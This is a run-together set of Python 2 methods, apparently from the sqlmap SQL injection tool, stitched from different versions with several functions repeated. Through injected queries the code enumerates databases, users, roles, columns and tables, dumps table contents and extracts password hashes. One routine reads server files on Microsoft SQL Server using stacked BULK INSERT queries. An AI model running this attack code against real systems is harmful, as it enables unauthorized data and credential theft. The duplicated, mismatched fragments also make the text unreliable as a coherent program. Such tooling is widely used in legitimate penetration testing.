def getDbs(self): if kb.dbms == "MySQL" and not self.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) infoMsg = "fetching database names" logger.info(infoMsg) rootQuery = queries[kb.dbms].dbs if conf.unionUse: if kb.dbms == "MySQL" and not self.has_information_schema: query = rootQuery["inband"]["query2"] else: query = rootQuery["inband"]["query"] value = inject.getValue(query, blind=False) if value: self.cachedDbs = value if not self.cachedDbs: infoMsg = "fetching number of databases" logger.info(infoMsg) if kb.dbms == "MySQL" and not self.has_information_schema: query = rootQuery["blind"]["count2"] else: query = rootQuery["blind"]["count"] count = inject.getValue(query, inband=False, expected="int") if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the number of databases" raise sqlmapNoneDataException, errMsg indexRange = getRange(count) for index in indexRange: if kb.dbms == "MySQL" and not self.has_information_schema: query = rootQuery["blind"]["query2"] % index else: query = rootQuery["blind"]["query"] % index db = inject.getValue(query, inband=False) if db: self.cachedDbs.append(db) if not self.cachedDbs: errMsg = "unable to retrieve the database names" raise sqlmapNoneDataException, errMsg return self.cachedDbs
def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[kb.dbms].users condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) ) condition |= ( kb.dbms == "MySQL" and not self.has_information_schema ) if conf.unionUse: if condition: query = rootQuery["inband"]["query2"] else: query = rootQuery["inband"]["query"] value = inject.getValue(query, blind=False) if value: self.cachedUsers = value if not self.cachedUsers: infoMsg = "fetching number of database users" logger.info(infoMsg) if condition: query = rootQuery["blind"]["count2"] else: query = rootQuery["blind"]["count"] count = inject.getValue(query, inband=False, expected="int") if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the number of database users" raise sqlmapNoneDataException, errMsg indexRange = getRange(count) for index in indexRange: if condition: query = rootQuery["blind"]["query2"] % index else: query = rootQuery["blind"]["query"] % index user = inject.getValue(query, inband=False) if user: self.cachedUsers.append(user) if not self.cachedUsers: errMsg = "unable to retrieve the database users" raise sqlmapNoneDataException, errMsg return self.cachedUsers
def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = [] txtTbl = self.fileTblName hexTbl = "%shex" % self.fileTblName self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % rFile) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) # Reference: http://support.microsoft.com/kb/104829 binToHexQuery = """ DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(%s) FROM %s) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter %% @chunk = 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) SET @hexstr = '' END END IF @counter %% (@chunk) != 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) END """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") binToHexQuery = urlencode(binToHexQuery, convall=True) inject.goStacked(binToHexQuery) if kb.unionPosition: result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False) if not result: result = [] count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2) if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % rFile raise sqlmapNoneDataException(errMsg) indexRange = getRange(count) for index in indexRange: chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) return result
def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = [] txtTbl = self.fileTblName hexTbl = "%shex" % self.fileTblName self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % rFile) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) # Reference: http://support.microsoft.com/kb/104829 binToHexQuery = """ DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(%s) FROM %s) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter %% @chunk = 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) SET @hexstr = '' END END IF @counter %% (@chunk) != 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) END """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") inject.goStacked(binToHexQuery) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False, error=False) if not result: result = [] count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2) if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % rFile raise sqlmapNoneDataException(errMsg) indexRange = getRange(count) for index in indexRange: chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) return result
def searchColumn(self): rootQuery = queries[Backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {} colList = conf.col.split(",") colCond = rootQuery.inband.condition colConsider, colCondParam = self.likeOrExact("column") if not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: db = safeSQLIdentificatorNaming(db) dbs[db] = {} for column in colList: column = safeSQLIdentificatorNaming(column) infoMsg = "searching column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.info(infoMsg) foundCols[column] = {} colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in dbs.keys(): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: query = rootQuery.inband.query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) values = inject.getValue(query, blind=False) if values: if isinstance(values, basestring): values = [ values ] for foundTbl in values: foundTbl = safeSQLIdentificatorNaming(foundTbl, True) if foundTbl is None: continue if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} if colConsider == "1": conf.db = db conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True) if kb.data.cachedColumns[db][foundTbl] != {None: None}: dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl]) kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None if db in foundCols[column]: foundCols[column][db].append(foundTbl) else: foundCols[column][db] = [ foundTbl ] else: foundCols[column][db] = [] infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (column, db) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query2 query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query = agent.limitQuery(index, query, colCond.replace("[DB]", db)) tbl = inject.getValue(query, inband=False, error=False) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) if tbl not in dbs[db]: dbs[db][tbl] = {} if colConsider == "1": conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True) dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} else: dbs[db][tbl][column] = None foundCols[column][db].append(tbl) self.dumpFoundColumn(dbs, foundCols, colConsider)
def searchTable(self): rootQuery = queries[Backend.getIdentifiedDbms()].search_table foundTbls = {} tblList = conf.tbl.split(",") tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblConsider, tblCondParam = self.likeOrExact("table") if not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: if isinstance(db, list): db = db[0] db = safeSQLIdentificatorNaming(db) foundTbls[db] = [] for tbl in tblList: tbl = safeSQLIdentificatorNaming(tbl, True) infoMsg = "searching table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: query = rootQuery.inband.query % db query += tblQuery values = inject.getValue(query, blind=False) if values: if isinstance(values, basestring): values = [ values ] for foundTbl in values: if foundTbl is None: continue foundTbls[db].append(foundTbl) else: infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % db query += " AND %s" % tblQuery count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query2 query = query % db query += " AND %s" % tblQuery query = agent.limitQuery(index, query, tblCond) tbl = inject.getValue(query, inband=False, error=False) kb.hintValue = tbl foundTbls[db].append(tbl) for db, tbls in foundTbls.items(): if len(tbls) == 0: foundTbls.pop(db) return foundTbls
def getRoles(self, query2=False): infoMsg = "fetching database users roles" rootQuery = queries[Backend.getIdentifiedDbms()].roles if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) # Set containing the list of DBMS administrators areAdmins = set() if isTechniqueAvailable( PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: users = conf.user.split(",") query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in users) values = inject.getValue(query, blind=False) if not values and not query2: infoMsg = "trying with table USER_ROLE_PRIVS" logger.info(infoMsg) return self.getRoles(query2=True) if values: for value in values: user = None roles = set() for count in xrange(0, len(value)): # The first column is always the username if count == 0: user = value[count] # The other columns are the roles else: role = value[count] # In Oracle we get the list of roles as string roles.add(role) if self.__isAdminFromPrivileges(roles): areAdmins.add(user) if kb.data.cachedUsersRoles.has_key(user): kb.data.cachedUsersRoles[user].extend(roles) else: kb.data.cachedUsersRoles[user] = list(roles) if not kb.data.cachedUsersRoles and not conf.direct: conditionChar = "=" if conf.user: users = conf.user.split(",") else: if not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers retrievedUsers = set() for user in users: unescapedUser = None if user in retrievedUsers: continue infoMsg = "fetching number of roles " infoMsg += "for user '%s'" % user logger.info(infoMsg) if unescapedUser: queryUser = unescapedUser else: queryUser = user if query2: query = rootQuery.blind.count2 % queryUser else: query = rootQuery.blind.count % queryUser count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): if not count.isdigit() and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "roles for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching roles for user '%s'" % user logger.info(infoMsg) roles = set() indexRange = getRange(count, plusOne=True) for index in indexRange: if query2: query = rootQuery.blind.query2 % (queryUser, index) else: query = rootQuery.blind.query % (queryUser, index) role = inject.getValue(query, inband=False, error=False) # In Oracle we get the list of roles as string roles.add(role) if roles: kb.data.cachedUsersRoles[user] = list(roles) else: warnMsg = "unable to retrieve the roles " warnMsg += "for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersRoles: errMsg = "unable to retrieve the roles " errMsg += "for the database users" raise sqlmapNoneDataException, errMsg return (kb.data.cachedUsersRoles, areAdmins)
def searchColumn(self): rootQuery = queries[Backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {"USERS": {}} colList = conf.col.split(",") colCond = rootQuery.inband.condition colConsider, colCondParam = self.likeOrExact("column") for column in colList: column = safeSQLIdentificatorNaming(column) infoMsg = "searching column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.info(infoMsg) foundCols[column] = {} colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in dbs.keys(): db = safeSQLIdentificatorNaming(db) if isTechniqueAvailable( PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.ERROR) or conf.direct: query = rootQuery.inband.query query += colQuery values = inject.getValue(query, blind=False) if values: if isinstance(values, basestring): values = [values] for foundTbl in values: foundTbl = safeSQLIdentificatorNaming( foundTbl, True) if foundTbl is None: continue if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} if colConsider == "1": conf.db = db conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True) dbs[db][foundTbl].update( kb.data.cachedColumns[db][foundTbl]) kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None if db in foundCols[column]: foundCols[column][db].append(foundTbl) else: foundCols[column][db] = [foundTbl] else: foundCols[column][db] = [] infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (column, db) logger.info(infoMsg) query = rootQuery.blind.count2 query += " WHERE %s" % colQuery count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query2 query += " WHERE %s" % colQuery query = agent.limitQuery(index, query) tbl = inject.getValue(query, inband=False, error=False) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) if tbl not in dbs[db]: dbs[db][tbl] = {} if colConsider == "1": conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True) dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} else: dbs[db][tbl][column] = None foundCols[column][db].append(tbl) self.dumpFoundColumn(dbs, foundCols, colConsider)
def getPasswordHashes(self): infoMsg = "fetching database users password hashes" rootQuery = queries[kb.dbms].passwords if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.unionUse: if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): query = rootQuery["inband"]["query2"] else: query = rootQuery["inband"]["query"] condition = rootQuery["inband"]["condition"] if conf.user: if "," in conf.user: users = conf.user.split(",") query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in users) else: query += " WHERE %s = '%s'" % (condition, conf.user) value = inject.getValue(query, blind=False) if value: for user, password in value: if not user or user == " ": continue password = parsePasswordHash(password) if not self.cachedUsersPassword.has_key(user): self.cachedUsersPassword[user] = [password] else: self.cachedUsersPassword[user].append(password) if not self.cachedUsersPassword: if conf.user: if "," in conf.user: users = conf.user.split(",") else: users = [conf.user] else: if not len(self.cachedUsers): users = self.getUsers() else: users = self.cachedUsers retrievedUsers = set() for user in users: if kb.dbms == "MySQL": parsedUser = re.search("\047(.*?)\047@'", user) if parsedUser: user = parsedUser.groups()[0] if user in retrievedUsers: continue infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): query = rootQuery["blind"]["count2"] % user else: query = rootQuery["blind"]["count"] % user count = inject.getValue(query, inband=False, expected="int") if not count.isdigit() or not len(count) or count == "0": warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] indexRange = getRange(count) for index in indexRange: if kb.dbms == "Microsoft SQL Server": if kb.dbmsVersion[0] in ( "2005", "2008" ): query = rootQuery["blind"]["query2"] % (user, index, user) else: query = rootQuery["blind"]["query"] % (user, index, user) else: query = rootQuery["blind"]["query"] % (user, index) password = inject.getValue(query, inband=False) password = parsePasswordHash(password) passwords.append(password) if passwords: self.cachedUsersPassword[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not self.cachedUsersPassword: errMsg = "unable to retrieve the password " errMsg += "hashes for the database users" raise sqlmapNoneDataException, errMsg return self.cachedUsersPassword
def getRoles(self, query2=False): infoMsg = "fetching database users roles" rootQuery = queries[Backend.getIdentifiedDbms()].roles if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) # Set containing the list of DBMS administrators areAdmins = set() if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: users = conf.user.split(",") query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False) if not values and not query2: infoMsg = "trying with table USER_ROLE_PRIVS" logger.info(infoMsg) return self.getRoles(query2=True) if not isNoneValue(values): for value in values: user = None roles = set() for count in xrange(0, len(value)): # The first column is always the username if count == 0: user = value[count] # The other columns are the roles else: role = value[count] # In Oracle we get the list of roles as string roles.add(role) if self.__isAdminFromPrivileges(roles): areAdmins.add(user) if kb.data.cachedUsersRoles.has_key(user): kb.data.cachedUsersRoles[user].extend(roles) else: kb.data.cachedUsersRoles[user] = list(roles) if not kb.data.cachedUsersRoles and not conf.direct: conditionChar = "=" if conf.user: users = conf.user.split(",") else: if not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers retrievedUsers = set() for user in users: unescapedUser = None if user in retrievedUsers: continue infoMsg = "fetching number of roles " infoMsg += "for user '%s'" % user logger.info(infoMsg) if unescapedUser: queryUser = unescapedUser else: queryUser = user if query2: query = rootQuery.blind.count2 % queryUser else: query = rootQuery.blind.count % queryUser count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): if not count.isdigit() and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "roles for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching roles for user '%s'" % user logger.info(infoMsg) roles = set() indexRange = getRange(count, plusOne=True) for index in indexRange: if query2: query = rootQuery.blind.query2 % (queryUser, index) else: query = rootQuery.blind.query % (queryUser, index) role = inject.getValue(query, inband=False, error=False) # In Oracle we get the list of roles as string roles.add(role) if roles: kb.data.cachedUsersRoles[user] = list(roles) else: warnMsg = "unable to retrieve the roles " warnMsg += "for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersRoles: errMsg = "unable to retrieve the roles " errMsg += "for the database users" raise sqlmapNoneDataException, errMsg return ( kb.data.cachedUsersRoles, areAdmins )
def dumpTable(self): if not conf.tbl: errMsg = "missing table parameter" raise sqlmapMissingMandatoryOptionException, errMsg if "." in conf.tbl: conf.db, conf.tbl = conf.tbl.split(".") self.forceDbmsEnum() if not conf.db: warnMsg = "missing database parameter, sqlmap is going to " warnMsg += "use the current database to dump table " warnMsg += "'%s' entries" % conf.tbl logger.warn(warnMsg) conf.db = self.getCurrentDb() rootQuery = queries[kb.dbms].dumpTable if conf.col: colList = conf.col.split(",") self.cachedColumns[conf.db] = {} self.cachedColumns[conf.db][conf.tbl] = {} for column in colList: self.cachedColumns[conf.db][conf.tbl][column] = None elif not self.cachedColumns: if kb.dbms == "MySQL" and not self.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise sqlmapUnsupportedFeatureException, errMsg self.cachedColumns = self.getColumns(onlyColNames=True) colList = self.cachedColumns[conf.db][conf.tbl].keys() colList.sort(key=lambda x: x.lower()) colString = ", ".join(column for column in colList) infoMsg = "fetching" if conf.col: infoMsg += " columns '%s'" % colString infoMsg += " entries for table '%s'" % conf.tbl infoMsg += " on database '%s'" % conf.db logger.info(infoMsg) if conf.unionUse: if kb.dbms == "Oracle": query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper()) else: query = rootQuery["inband"]["query"] % (colString, conf.db, conf.tbl) entries = inject.getValue(query, blind=False) if entries: entriesCount = len(entries) index = 0 for column in colList: colLen = len(column) if not self.dumpedTable.has_key(column): self.dumpedTable[column] = { "length": 0, "values": [] } for entry in entries: if isinstance(entry, str): colEntry = entry else: colEntry = entry[index] colEntryLen = len(colEntry) maxLen = max(colLen, colEntryLen) if maxLen > self.dumpedTable[column]["length"]: self.dumpedTable[column]["length"] = maxLen self.dumpedTable[column]["values"].append(colEntry) index += 1 if not self.dumpedTable: infoMsg = "fetching number of " if conf.col: infoMsg += "columns '%s' " % colString infoMsg += "entries for table '%s' " % conf.tbl infoMsg += "on database '%s'" % conf.db logger.info(infoMsg) if kb.dbms == "Oracle": query = rootQuery["blind"]["count"] % conf.tbl.upper() else: query = rootQuery["blind"]["count"] % (conf.db, conf.tbl) count = inject.getValue(query, inband=False, expected="int") if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the number of " if conf.col: errMsg += "columns '%s' " % colString errMsg += "entries for table '%s' " % conf.tbl errMsg += "on database '%s'" % conf.db if conf.dumpAll: logger.warn(errMsg) return self.dumpedTable else: raise sqlmapNoneDataException, errMsg lengths = {} entries = {} indexRange = getRange(count, True) for index in indexRange: for column in colList: if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = [] if kb.dbms in ( "MySQL", "PostgreSQL" ): query = rootQuery["blind"]["query"] % (column, conf.db, conf.tbl, index) elif kb.dbms == "Oracle": query = rootQuery["blind"]["query"] % (column, column, conf.tbl.upper(), index) elif kb.dbms == "Microsoft SQL Server": query = rootQuery["blind"]["query"] % (column, conf.db, conf.tbl, column, index, column, conf.db, conf.tbl) value = inject.getValue(query, inband=False) lengths[column] = max(lengths[column], len(value)) entries[column].append(value) for column, columnEntries in entries.items(): if lengths[column] < len(column): length = len(column) else: length = lengths[column] self.dumpedTable[column] = { "length": length, "values": columnEntries, } entriesCount = len(columnEntries) if self.dumpedTable: self.dumpedTable["__infos__"] = { "count": entriesCount, "table": conf.tbl, "db": conf.db } else: errMsg = "unable to retrieve the entries of " if conf.col: errMsg += "columns '%s' " % colString errMsg += "for table '%s' " % conf.tbl errMsg += "on database '%s'" % conf.db if conf.dumpAll: logger.warn(errMsg) return self.dumpedTable else: raise sqlmapNoneDataException, errMsg return self.dumpedTable
def getColumns(self, onlyColNames=False): if kb.dbms == "MySQL" and not self.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise sqlmapUnsupportedFeatureException, errMsg if not conf.tbl: errMsg = "missing table parameter" raise sqlmapMissingMandatoryOptionException, errMsg if "." in conf.tbl: conf.db, conf.tbl = conf.tbl.split(".") self.forceDbmsEnum() if not conf.db: warnMsg = "missing database parameter, sqlmap is going to " warnMsg += "use the current database to enumerate table " warnMsg += "'%s' columns" % conf.tbl logger.warn(warnMsg) conf.db = self.getCurrentDb() infoMsg = "fetching columns " infoMsg += "for table '%s' " % conf.tbl infoMsg += "on database '%s'" % conf.db logger.info(infoMsg) rootQuery = queries[kb.dbms].columns if conf.unionUse: if kb.dbms in ( "MySQL", "PostgreSQL" ): query = rootQuery["inband"]["query"] % (conf.tbl, conf.db) elif kb.dbms == "Oracle": query = rootQuery["inband"]["query"] % conf.tbl.upper() elif kb.dbms == "Microsoft SQL Server": query = rootQuery["inband"]["query"] % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.tbl) value = inject.getValue(query, blind=False) if value: table = {} columns = {} for column, colType in value: columns[column] = colType table[conf.tbl] = columns self.cachedColumns[conf.db] = table if not self.cachedColumns: infoMsg = "fetching number of columns " infoMsg += "for table '%s'" % conf.tbl infoMsg += " on database '%s'" % conf.db logger.info(infoMsg) if kb.dbms in ( "MySQL", "PostgreSQL" ): query = rootQuery["blind"]["count"] % (conf.tbl, conf.db) elif kb.dbms == "Oracle": query = rootQuery["blind"]["count"] % conf.tbl.upper() elif kb.dbms == "Microsoft SQL Server": query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl) count = inject.getValue(query, inband=False, expected="int") if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the number of columns " errMsg += "for table '%s' " % conf.tbl errMsg += "on database '%s'" % conf.db raise sqlmapNoneDataException, errMsg if kb.dbms == "Microsoft SQL Server": plusOne = True else: plusOne = False table = {} columns = {} indexRange = getRange(count, plusOne=plusOne) for index in indexRange: if kb.dbms in ( "MySQL", "PostgreSQL" ): query = rootQuery["blind"]["query"] % (conf.tbl, conf.db, index) elif kb.dbms == "Oracle": query = rootQuery["blind"]["query"] % (conf.tbl.upper(), index) elif kb.dbms == "Microsoft SQL Server": query = rootQuery["blind"]["query"] % (index, conf.db, conf.db, conf.tbl) column = inject.getValue(query, inband=False) if not onlyColNames: if kb.dbms in ( "MySQL", "PostgreSQL" ): query = rootQuery["blind"]["query2"] % (conf.tbl, column, conf.db) elif kb.dbms == "Oracle": query = rootQuery["blind"]["query2"] % (conf.tbl.upper(), column) elif kb.dbms == "Microsoft SQL Server": query = rootQuery["blind"]["query2"] % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, conf.tbl) colType = inject.getValue(query, inband=False) columns[column] = colType else: columns[column] = None if columns: table[conf.tbl] = columns self.cachedColumns[conf.db] = table if not self.cachedColumns: errMsg = "unable to retrieve the columns " errMsg += "for table '%s' " % conf.tbl errMsg += "on database '%s'" % conf.db raise sqlmapNoneDataException, errMsg return self.cachedColumns
